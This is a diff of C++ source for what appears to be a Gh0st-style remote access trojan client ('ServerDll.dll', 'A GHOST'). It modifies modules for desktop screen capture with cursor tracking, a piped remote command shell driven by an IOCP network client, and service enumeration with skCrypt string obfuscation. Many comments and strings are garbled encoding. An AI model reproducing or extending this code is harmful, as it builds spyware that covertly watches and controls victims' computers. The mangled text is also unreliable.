||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
|
||||
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
|
||||
|
||||
if (m_hFullMemDC!=NULL)
|
||||
{
|
||||
DeleteDC(m_hFullMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
|
||||
DeleteDC(m_hFullMemDC);
|
||||
|
||||
::DeleteObject(m_BitmapHandle);
|
||||
if (m_BitmapData_Full!=NULL)
|
||||
@@ -79,7 +72,7 @@ CScreenSpy::~CScreenSpy()
|
||||
|
||||
if (m_hDiffMemDC!=NULL)
|
||||
{
|
||||
DeleteDC(m_hDiffMemDC); //Createƥ<65><C6A5><EFBFBD>ڴ<EFBFBD>DC
|
||||
DeleteDC(m_hDiffMemDC);
|
||||
|
||||
::DeleteObject(m_DiffBitmapHandle);
|
||||
if (m_DiffBitmapData_Full!=NULL)
|
||||
@@ -88,12 +81,6 @@ CScreenSpy::~CScreenSpy()
|
||||
}
|
||||
}
|
||||
|
||||
if (m_BitmapInfor_Full!=NULL)
|
||||
{
|
||||
delete[] m_BitmapInfor_Full;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
|
||||
if (m_RectBuffer)
|
||||
{
|
||||
delete[] m_RectBuffer;
|
||||
@@ -103,78 +90,19 @@ CScreenSpy::~CScreenSpy()
|
||||
m_RectBufferOffset = 0;
|
||||
}
|
||||
|
||||
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
|
||||
ULONG ulFullWidth, ULONG ulFullHeight)
|
||||
{
|
||||
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
|
||||
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +<2B><><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>
|
||||
BITMAPINFO *BitmapInfor = (BITMAPINFO *) new BYTE[ulBitmapLength]; //[][]
|
||||
|
||||
BITMAPINFOHEADER* BitmapInforHeader = &(BitmapInfor->bmiHeader);
|
||||
|
||||
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
|
||||
BitmapInforHeader->biWidth = ulFullWidth; //1080
|
||||
BitmapInforHeader->biHeight = ulFullHeight; //1920
|
||||
BitmapInforHeader->biPlanes = 1;
|
||||
BitmapInforHeader->biBitCount = ulbiBitCount; //32
|
||||
BitmapInforHeader->biCompression = BI_RGB;
|
||||
BitmapInforHeader->biXPelsPerMeter = 0;
|
||||
BitmapInforHeader->biYPelsPerMeter = 0;
|
||||
BitmapInforHeader->biClrUsed = 0;
|
||||
BitmapInforHeader->biClrImportant = 0;
|
||||
BitmapInforHeader->biSizeImage =
|
||||
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31)/32)*4* BitmapInforHeader->biHeight;
|
||||
|
||||
// 16λ<36><CEBB><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ɫ<EFBFBD><C9AB><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
|
||||
|
||||
return BitmapInfor;
|
||||
}
|
||||
|
||||
LPVOID CScreenSpy::GetFirstScreenData()
|
||||
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||
{
|
||||
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD>豸<EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>豸
|
||||
::BitBlt(m_hFullMemDC, 0, 0,
|
||||
m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
|
||||
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
|
||||
|
||||
return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
|
||||
}
|
||||
|
||||
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||||
m_RectBufferOffset = 0;
|
||||
|
||||
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
POINT CursorPos;
|
||||
GetCursorPos(&CursorPos);
|
||||
CursorPos.x /= m_wZoom;
|
||||
CursorPos.y /= m_hZoom;
|
||||
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
|
||||
|
||||
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
|
||||
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>㷨
|
||||
if (m_bAlgorithm == ALGORITHM_DIFF)
|
||||
{
|
||||
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
|
||||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth,
|
||||
m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
|
||||
*ulNextSendLength = m_RectBufferOffset +
|
||||
CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
|
||||
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
|
||||
return m_RectBuffer;
|
||||
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
}
|
||||
*ulFirstScreenLength = m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
|
||||
return NULL;
|
||||
return m_RectBuffer; //<2F>ڴ<EFBFBD>
|
||||
}
|
||||
|
||||
|
||||
@@ -182,7 +110,7 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
|
||||
{
|
||||
AUTO_TICK(70);
|
||||
#if COPY_ALL
|
||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop);
|
||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY);
|
||||
#else
|
||||
const ULONG ulJumpLine = 50;
|
||||
const ULONG ulJumpSleep = ulJumpLine / 10;
|
||||
@@ -195,51 +123,8 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
|
||||
ulToJump = ulJumpLine;
|
||||
else
|
||||
ulToJump = ulv1;
|
||||
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop);
|
||||
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY);
|
||||
Sleep(ulJumpSleep);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
||||
LPBYTE szBuffer, DWORD ulCompareLength)
|
||||
{
|
||||
AUTO_TICK(20);
|
||||
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
||||
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
|
||||
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0, ulCount = 0;
|
||||
for (int i = 0; i < ulCompareLength; i += 4, ++p1, ++p2)
|
||||
{
|
||||
if (*p1 == *p2)
|
||||
continue;
|
||||
|
||||
*(LPDWORD)(szBuffer + ulszBufferOffset) = i;
|
||||
// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
|
||||
ulv1 = ulszBufferOffset + sizeof(int);
|
||||
ulv2 = ulv1 + sizeof(int);
|
||||
ulCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
*p1 = *p2;
|
||||
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
|
||||
|
||||
ulCount += 4;
|
||||
i += 4, p1++, p2++;
|
||||
for (int j = i; j < ulCompareLength; j += 4, i += 4, ++p1, ++p2)
|
||||
{
|
||||
if (*p1 == *p2)
|
||||
break;
|
||||
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
*p1 = *p2;
|
||||
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
|
||||
ulCount += 4;
|
||||
}
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
*(LPDWORD)(szBuffer + ulv1) = ulCount;
|
||||
ulszBufferOffset = ulv2 + ulCount;
|
||||
}
|
||||
|
||||
return ulszBufferOffset;
|
||||
}
|
||||
|
||||
@@ -8,22 +8,51 @@
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#define ALGORITHM_DIFF 1
|
||||
|
||||
#define COPY_ALL 1 // <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ֿ鿽<D6BF><E9BFBD><EFBFBD><EFBFBD>added by yuanyuanxiang 2019-1-7<><37>
|
||||
#include "CursorInfo.h"
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
|
||||
class CScreenSpy
|
||||
class CScreenSpy : public ScreenCapture
|
||||
{
|
||||
private:
|
||||
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
||||
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
|
||||
|
||||
HDC m_hFullMemDC;
|
||||
HBITMAP m_BitmapHandle;
|
||||
PVOID m_BitmapData_Full;
|
||||
|
||||
HDC m_hDiffMemDC;
|
||||
HBITMAP m_DiffBitmapHandle;
|
||||
PVOID m_DiffBitmapData_Full;
|
||||
|
||||
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
|
||||
public:
|
||||
CScreenSpy(ULONG ulbiBitCount);
|
||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop = DEFAULT_GOP);
|
||||
|
||||
virtual ~CScreenSpy();
|
||||
|
||||
ULONG GetBISize() const
|
||||
{
|
||||
ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0;
|
||||
int GetWidth()const {
|
||||
return m_ulFullWidth;
|
||||
}
|
||||
|
||||
return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD));
|
||||
int GetHeight() const {
|
||||
return m_ulFullHeight;
|
||||
}
|
||||
|
||||
bool IsZoomed() const {
|
||||
return m_bZoomed;
|
||||
}
|
||||
|
||||
double GetWZoom() const {
|
||||
return m_wZoom;
|
||||
}
|
||||
|
||||
double GetHZoom() const {
|
||||
return m_hZoom;
|
||||
}
|
||||
|
||||
const LPBITMAPINFO& GetBIData() const
|
||||
@@ -31,45 +60,26 @@ public:
|
||||
return m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
ULONG m_ulbiBitCount;
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
|
||||
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount,
|
||||
ULONG ulFullWidth, ULONG ulFullHeight);
|
||||
|
||||
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
||||
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC
|
||||
HDC m_hFullMemDC;
|
||||
HBITMAP m_BitmapHandle;
|
||||
PVOID m_BitmapData_Full;
|
||||
DWORD m_dwBitBltRop;
|
||||
LPVOID GetFirstScreenData();
|
||||
|
||||
ULONG GetFirstScreenLength() const
|
||||
{
|
||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
|
||||
BYTE* m_RectBuffer;
|
||||
ULONG m_RectBufferOffset;
|
||||
BYTE m_bAlgorithm;
|
||||
|
||||
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
|
||||
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
|
||||
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
|
||||
m_RectBufferOffset += ulLength;
|
||||
}
|
||||
|
||||
CCursorInfo m_CursorInfor;
|
||||
HDC m_hDiffMemDC;
|
||||
HBITMAP m_DiffBitmapHandle;
|
||||
PVOID m_DiffBitmapData_Full;
|
||||
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
||||
LPBYTE szBuffer, DWORD ulCompareLength);
|
||||
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
|
||||
|
||||
virtual LPBYTE ScanNextScreen() {
|
||||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
return (LPBYTE)m_DiffBitmapData_Full;
|
||||
}
|
||||
|
||||
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
double m_wZoom, m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>
|
||||
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||
|
||||
@@ -81,13 +81,14 @@ END
|
||||
|
||||
IDR_WAVE WAVE "Res\\msg.wav"
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Version
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,0,5
|
||||
FILEVERSION 1,0,0,7
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -105,10 +106,10 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.0.5"
|
||||
VALUE "InternalName", "ServerDl.dll"
|
||||
VALUE "FileVersion", "1.0.0.7"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||
VALUE "OriginalFilename", "ServerDl.dll"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
VALUE "ProductName", "A GHOST"
|
||||
VALUE "ProductVersion", "1.0.0.1"
|
||||
END
|
||||
@@ -128,7 +129,9 @@ END
|
||||
// Icon with lowest ID value placed first to ensure application icon
|
||||
// remains consistent on all systems.
|
||||
IDI_ICON_MAIN ICON "Res\\ghost.ico"
|
||||
|
||||
IDI_ICON_MSG ICON "Res\\msg.ico"
|
||||
|
||||
#endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD>壬<EFBFBD>й<EFBFBD>) resources
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
SendServicesList();
|
||||
}
|
||||
@@ -30,6 +30,10 @@ VOID CServicesManager::SendServicesList()
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
#ifndef skCrypt
|
||||
#define skCrypt(p) p
|
||||
#endif
|
||||
|
||||
LPBYTE CServicesManager::GetServicesList()
|
||||
{
|
||||
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
|
||||
@@ -56,7 +60,7 @@ LPBYTE CServicesManager::GetServicesList()
|
||||
DWORD dwServicesCount = 0;
|
||||
DWORD dwResumeHandle = 0;
|
||||
EnumServicesStatus(m_hscManager,
|
||||
SERVICE_TYPE_ALL, //CTL_FIX
|
||||
SERVICE_WIN32, //CTL_FIX
|
||||
SERVICE_STATE_ALL,
|
||||
(LPENUM_SERVICE_STATUS)ServicesStatus,
|
||||
64 * 1024,
|
||||
@@ -65,7 +69,8 @@ LPBYTE CServicesManager::GetServicesList()
|
||||
&dwResumeHandle);
|
||||
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
||||
|
||||
if (szBuffer == NULL)
|
||||
return NULL;
|
||||
szBuffer[0] = TOKEN_SERVERLIST;
|
||||
dwOffset = 1;
|
||||
for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,<2C><>ʾ<EFBFBD><CABE><EFBFBD>еķ<D0B5><C4B7><EFBFBD>
|
||||
@@ -82,35 +87,73 @@ LPBYTE CServicesManager::GetServicesList()
|
||||
}
|
||||
|
||||
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
|
||||
|
||||
if (ServicesInfor == NULL)
|
||||
continue;
|
||||
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
|
||||
//<2F><>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
if (ServicesStatus[i].ServiceStatus.dwCurrentState!=SERVICE_STOPPED) //<2F><><EFBFBD><EFBFBD>״̬
|
||||
{
|
||||
ZeroMemory(szRunWay, sizeof(szRunWay));
|
||||
lstrcat(szRunWay,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
ZeroMemory(szRunWay, sizeof(szRunWay));
|
||||
switch (ServicesStatus[i].ServiceStatus.dwCurrentState) {
|
||||
case SERVICE_STOPPED: {
|
||||
lstrcatA(szRunWay, skCrypt("ֹͣ"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_START_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_STOP_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("ֹͣ<EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_RUNNING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_CONTINUE_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_PAUSE_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD>ͣ<EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_PAUSED: {
|
||||
lstrcatA(szRunWay, skCrypt("<EFBFBD><EFBFBD>ͣ"));
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
lstrcatA(szRunWay, skCrypt("δ֪"));
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
ZeroMemory(szRunWay, sizeof(szRunWay));
|
||||
lstrcat(szRunWay,"ֹͣ");
|
||||
}
|
||||
|
||||
if(2==ServicesInfor->dwStartType) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //SERVICE_AUTO_START
|
||||
{
|
||||
ZeroMemory(szAutoRun, sizeof(szAutoRun));
|
||||
lstrcat(szAutoRun,"<EFBFBD>Զ<EFBFBD>");
|
||||
ZeroMemory(szAutoRun, sizeof(szAutoRun));
|
||||
switch (ServicesInfor->dwStartType) {
|
||||
case SERVICE_BOOT_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD>ں<EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
if(3==ServicesInfor->dwStartType) //SERVICE_DEMAND_START
|
||||
{
|
||||
ZeroMemory(szAutoRun, sizeof(szAutoRun));
|
||||
lstrcat(szAutoRun,"<EFBFBD>ֶ<EFBFBD>");
|
||||
case SERVICE_SYSTEM_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("ϵͳ"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_AUTO_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD>Զ<EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_DEMAND_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD>ֶ<EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_DISABLED: {
|
||||
lstrcatA(szAutoRun, skCrypt("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
lstrcatA(szAutoRun, skCrypt("δ֪"));
|
||||
break;
|
||||
}
|
||||
if(4==ServicesInfor->dwStartType)
|
||||
{
|
||||
ZeroMemory(szAutoRun, sizeof(szAutoRun)); //SERVICE_DISABLED
|
||||
lstrcat(szAutoRun,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||||
}
|
||||
|
||||
dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName)
|
||||
@@ -120,7 +163,8 @@ LPBYTE CServicesManager::GetServicesList()
|
||||
if (LocalSize(szBuffer) < (dwOffset + dwLength))
|
||||
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
||||
LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
|
||||
if (szBuffer == NULL)
|
||||
continue;
|
||||
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
|
||||
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
|
||||
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
class CServicesManager : public CManager
|
||||
{
|
||||
public:
|
||||
CServicesManager(IOCPClient* ClientObject, int n);
|
||||
CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CServicesManager();
|
||||
VOID SendServicesList();
|
||||
LPBYTE GetServicesList();
|
||||
|
||||
@@ -14,7 +14,7 @@ using namespace std;
|
||||
|
||||
BOOL bStarting = TRUE;
|
||||
|
||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
m_nCmdLength = 0;
|
||||
bStarting = TRUE;
|
||||
@@ -100,8 +100,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObj
|
||||
|
||||
WaitForDialogOpen();
|
||||
|
||||
m_hThreadRead = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
|
||||
m_hThreadRead = CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
@@ -126,7 +125,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
ReadFile(This->m_hReadPipeHandle,
|
||||
szTotalBuffer, dwTotal, &dwReturn, NULL);
|
||||
#ifdef _DEBUG
|
||||
printf("===> Input length= %d \n", This->m_nCmdLength);
|
||||
Mprintf("===> Input length= %d \n", This->m_nCmdLength);
|
||||
#endif
|
||||
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
|
||||
int length = int(dwReturn) - This->m_nCmdLength;
|
||||
@@ -136,7 +135,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
LocalFree(szTotalBuffer);
|
||||
}
|
||||
}
|
||||
cout<<"ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n";
|
||||
Mprintf("ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
class CShellManager : public CManager
|
||||
{
|
||||
public:
|
||||
CShellManager(IOCPClient* ClientObject, int n);
|
||||
CShellManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
|
||||
HANDLE m_hReadPipeHandle;
|
||||
HANDLE m_hWritePipeHandle;
|
||||
|
||||
@@ -7,17 +7,29 @@
|
||||
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
|
||||
|
||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
|
||||
#define USING_ZLIB 1
|
||||
#define USING_ZLIB 0
|
||||
|
||||
#if !USING_ZLIB
|
||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
|
||||
#define USING_LZ4 1
|
||||
#define USING_LZ4 0
|
||||
|
||||
#if !USING_LZ4
|
||||
#define USING_ZSTD 1
|
||||
#define USING_CTX 1
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
|
||||
#else
|
||||
#define Mprintf(format, ...)
|
||||
#endif
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
|
||||
#include "vld.h"
|
||||
|
||||
@@ -57,19 +69,33 @@ class auto_tick
|
||||
{
|
||||
private:
|
||||
const char *func;
|
||||
int threshold;
|
||||
int span;
|
||||
clock_t tick;
|
||||
__inline clock_t now() const { return clock(); }
|
||||
__inline int time() const { return now() - tick; }
|
||||
|
